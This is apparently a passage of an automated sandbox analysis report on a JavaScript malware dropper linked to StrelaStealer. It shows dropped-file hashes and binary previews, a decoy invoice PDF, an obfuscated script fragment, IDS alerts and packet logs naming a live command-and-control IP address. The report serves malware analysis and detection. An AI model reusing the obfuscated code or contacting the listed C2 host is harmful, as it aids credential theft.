Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\522f5a9e-48b0-48f7-a1d6-26709847a505.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\94c9534f-0fd1-4d79-b3bf-dd327c75ea6b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:6Dbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WL07oXGZuwYIGNPJF:cb3mlind9i4ufFXpAXkrfUs03WLxXGZA
MD5:	C528EB6A158F9F3095AD22DB47383E7C
SHA1:	A8AB1841BD2B7CF898AB3D747DE3479ACD225ED7
SHA-256:	A90361A62BD08B2D69DA70DB9B49CC7997824E6555A6C5014525A120C7FC3622
SHA-512:	59F43AC7F0CB91B0FA8851EA66F3DDA09032CC25F3C6F488AB558D206102CB6C1477780B42CA39C442C251906907B0EE904661703045353491FA425C4782F62A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (10025), with no line terminators
Entropy (8bit):	4.992120293142098
TrID:
File name:	17201670993971103.js
File size:	10'025 bytes
MD5:	802ffecdf78362079dac91d319b3ea7c
SHA1:	b2dbfc81ccb4863ab5deaf64f75b8e1f7ac814a5
SHA256:	74cf029cea455234dfa9b311bb2598aa02459f3fcca68d1d5017e59de974e85f
SHA512:	2a921528cf9aff3b68611aafb5dd2cf75d972791144ebc789ee56633788c2f1057465878d76307aa2e1f6c1fcce33a4617d832a25d60b46a23c80dc2412e76a9
SSDEEP:	192:CHqFMptAJ26mfWR4m9/4G/ManiGjrvAWPFsQpo:CnpN6mfotjrvAWPeQpo
TLSH:	B32243C6FE7DED0349E518BE93C802627E850294ADC19440FE8F524864FE66DC9E8F79
File Content Preview:	function sfvekb(){this[qhmdn+qqeky+jliismzky+rynjch]("biiifafo=[1031,3079,5127,4103,2055,3072];var sbuqp=this[hdgqwv+jliismzky+jbghzpz+gvblp+qhmdn+sdeocah+ohhwk+qeicp](this[fchslk+rxadyqm+cfngwk+jbghzpz+xiatf+hdgqwv+qeicp][eyyrbir+jbghzpz+qhmdn+jliismzky+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T10:19:00.265057+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-14T10:19:00.265057+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-14T10:19:03.170362+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 10:18:59.419298887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:18:59.424515009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:18:59.424720049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:18:59.427720070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:18:59.432606936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.264975071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.265002012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.265024900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.265036106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.265057087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.265068054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.265079975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.265088081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.265090942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.265142918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.265192032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.265202999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.265213013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.265233994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.265249014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.324970007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.324984074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.325026035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.325046062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.373414040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.393507957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.393520117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.393526077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.393686056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.393744946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.393757105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.393769979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.393800974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.393815994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.393826962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.393841982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.393870115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.394628048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.394638062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.394649029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.394670010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.395092964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.395137072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.395138025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.395148993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.395173073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.395175934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.395658016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.395695925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.395714998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.395725965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.395751953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.395791054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.395801067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.395832062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.415469885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.415488005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.415519953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.415539026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.415556908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.415566921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.415591002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.467154026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.507863998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.507875919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.507885933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.507962942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.522010088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.522020102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.522053957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.522072077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.522094965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.522113085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.522146940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.522157907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.522190094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.522520065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.522561073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.522572994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.522578001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.522602081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.522605896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.522994995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.523005962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.523015976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.523034096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.523036003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.523045063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.523062944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.523089886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.523559093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.523571968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.523577929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.523616076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.523633003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.523644924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.523655891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.523667097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.523684978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.523700953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.524374008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.524415016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.524418116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.524425030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.524458885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.524552107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.524561882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.524573088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.524584055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.524599075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.524632931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.525281906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.525321960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.525332928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.525367022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.525476933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.525487900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.525499105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.525510073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.525518894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.525542974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.526179075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.526190042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.526200056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.526217937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.526242018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.526247025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.526259899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.526285887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.526288986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.526300907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.526329994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.527020931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.527044058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.527086973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.598254919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.636250973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.636296988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.636331081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.636342049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.636348009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.636380911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.636400938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.636413097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.636424065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.636440992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.636476040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.650604963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.650635004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.650645018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.650655985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.650705099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.650723934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.650738955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.650749922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.650790930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.650897026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.650926113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.650937080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.650945902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.650990009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.651012897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.651025057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.651036024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.651076078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.651364088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.651390076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.651401043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.651410103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.651453018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.651480913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.651493073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.651503086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.651514053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.651530981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.651566982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.651631117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.651642084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.651652098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.651663065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.651671886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.651706934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.652220964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.652246952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.652257919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.652270079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.652291059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.652390957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.652403116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.652411938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.652429104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.652436972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.652441025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.652451038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.652501106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.652909994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.652920961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.652930975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.652967930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.653037071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.653048992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.653059006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.653070927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.653076887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.653110981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.653163910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.653175116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.653187037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.653197050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.653212070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.653227091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.653768063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.653779984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.653790951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.653822899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.653837919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.653850079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.653850079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.653861046 CET	80	49704	193.143.1.205	192.168.2.5
